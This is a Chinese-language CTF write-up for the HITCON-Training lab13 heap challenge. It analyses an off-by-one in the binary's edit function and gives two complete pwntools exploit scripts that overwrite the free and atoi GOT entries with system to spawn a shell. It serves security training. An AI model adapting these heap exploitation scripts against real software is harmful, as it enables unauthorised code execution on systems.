HITCON-Training WP lab13
2019-07-04 本文已影响24人
111p1kk
lab13
0x01寻找漏洞
程序实现功能:增删查改
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
checksec
kk@ubuntu:~/Desktop/black/HITCON-Training/LAB/lab13$ checksec ./heapcreator
[*] '/home/kk/Desktop/black/HITCON-Training/LAB/lab13/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
ida
可以看出
create_heap
中存在结构体,最不好理解的部分,可能就是在chunk的布局上
struct heaparray
{
size;
content;
}
我们通过gdb动调加深理解
gdb-peda$ run
Starting program: /home/kk/Desktop/black/HITCON-Training/LAB/lab13/heapcreator
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 24
Content of heap:aaaaaaaaaaaaaaaaaaaaaaaa
SuccessFul
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :Invalid Choice
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 16
Content of heap:bbbbbbbbbbbbb
SuccessFul
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 32
Content of heap:cccccccccccccccccccccccccccccccc
SuccessFul
gdb-peda$ x/30gx 0x603000
0x603000: 0x0000000000000000 ==>prev_size 0x0000000000000021 ==>chunk0_size
0x603010: 0x0000000000000018 ==>size 0x0000000000603030 ==>content ptr
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x6161616161616161 0x6161616161616161 ==>content
0x603040: 0x6161616161616161 ==>prev_size 0x0000000000000021 ==>chunk1_size
0x603050: 0x0000000000000010 ==>size 0x0000000000603070 ==>content ptr
0x603060: 0x0000000000000000 0x0000000000000021
0x603070: 0x6262626262626262 0x00000a6262626262 ==>content
0x603080: 0x0000000000000000 ==>prev_size 0x0000000000000021 ==>chunk2_size
0x603090: 0x0000000000000020 ==>size 0x00000000006030b0 ==>content ptr
0x6030a0: 0x0000000000000000 0x0000000000000031
0x6030b0: 0x6363636363636363 0x6363636363636363
0x6030c0: 0x6363636363636363 0x6363636363636363
0x6030d0: 0x0000000000000000 0x0000000000020f31
0x6030e0: 0x0000000000000000 0x0000000000000000
edit_heap
函数中存在off by one
delete_heap
函数最后指针清零,所以不存在可利用的uaf漏洞
0x02思路分析
法一:修改free到system
通过利用off by one修改下一个chunk的size,但是只溢出一个字节,显然不能达到下一个chunk的size
我们想到,64位系统下,如果我们申请的size不满足0x10对齐,如我们设置size为0x18,那么系统实际分配了0x20给程序,多出来的字节,正是复用了下一个chunk的prev_size字段。【因为当前chunk在使用时,下一个chunk的prev_size为0,系统为了节省空间,将它分配给上一个chunk也是十分合理的】
- 所以我们先申请index = 0的size大小为0x18,申请index = 1的size大小为0x10,则系统会malloc(0x20)
- 其中"/bin/sh\x00"占八字节,剩下的0x18字节用字符串填充,然后最后的off by one用于设置下一个chunk的size为0x41
- 删除下标为1的heap,使下次申请时达到chunk overlapping
- 创建下标为2的heap,使得2的content指针刚好指向chunk1的size,修改content_ptr为free_got,通过show泄露free函数地址,从而得到libc_base和system函数地址
- 修改free_got为system地址,将"/bin/sh"写入chunk0,free(chunk0)达到getshell
法二:修改atoi到system
我们可以发现,程序是通过atoi
函数将字符串转化为数字的,我们可以设想通过修改atoi
为system
,然后将这个buf
改为/bin/sh
。咦?就可以直接调用啦🤷♀️
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
0x03利用攻击
一
#!usr/bin/env python
from pwn import *
context.log_level = "debug"
io = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def menu(choice):
io.sendlineafter("choice :", str(choice))
def create(size, content):
menu(1)
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.sendline(content)
def edit(index, new_content):
menu(2)
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Content of heap : ")
io.sendline(new_content)
def show(index):
menu(3)
io.recvuntil("Index :")
io.sendline(str(index))
def delete(index):
menu(4)
io.recvuntil("Index :")
io.sendline(str(index))
create(0x18, "a") #0
create(0x10, "b") #1
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)
# gdb.attach(io)
free_got = elf.got['free']
create(0x30, p64(0) * 4 + p64(0x30) + p64(free_got))
show(1)
io.recvuntil("Content : ")
free_addr = u64(io.recvuntil('D')[:-2].ljust(8,'\x00'))
print "free_addr ==> [%s]"%hex(free_addr)
libc_base = free_addr - libc.symbols['free']
print "libc_base ==> [%s]"%hex(libc_base)
sys_addr = libc_base + libc.symbols['system']
print "sys_addr ==> [%s]"%hex(sys_addr)
edit(1, p64(sys_addr))
delete(0)
io.interactive()
二
#!usr/bin/env python
from pwn import *
context.log_level = "debug"
io = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def menu(choice):
io.sendlineafter("choice :", str(choice))
def create(size, content):
menu(1)
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.sendline(content)
def edit(index, new_content):
menu(2)
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Content of heap : ")
io.sendline(new_content)
def show(index):
menu(3)
io.recvuntil("Index :")
io.sendline(str(index))
def delete(index):
menu(4)
io.recvuntil("Index :")
io.sendline(str(index))
create(0x18, "a") #0
create(0x10, "b") #1
edit(0, "a" * 0x18 + "\x41")
delete(1)
# gdb.attach(io)
atoi_got = elf.got['atoi']
create(0x30, p64(0) * 4 + p64(0x30) + p64(atoi_got))
show(1)
io.recvuntil("Content : ")
atoi_addr = u64(io.recvuntil('D')[:-2].ljust(8,'\x00'))
print "atoi_addr ==> [%s]"%hex(atoi_addr)
libc_base = atoi_addr - libc.symbols['atoi']
print "libc_base ==> [%s]"%hex(libc_base)
sys_addr = libc_base + libc.symbols['system']
print "sys_addr ==> [%s]"%hex(sys_addr)
edit(1, p64(sys_addr))
io.sendline("1")
io.recvuntil(": ")
io.sendline("/bin/sh\x00")
# io.sendline("$0")
io.interactive()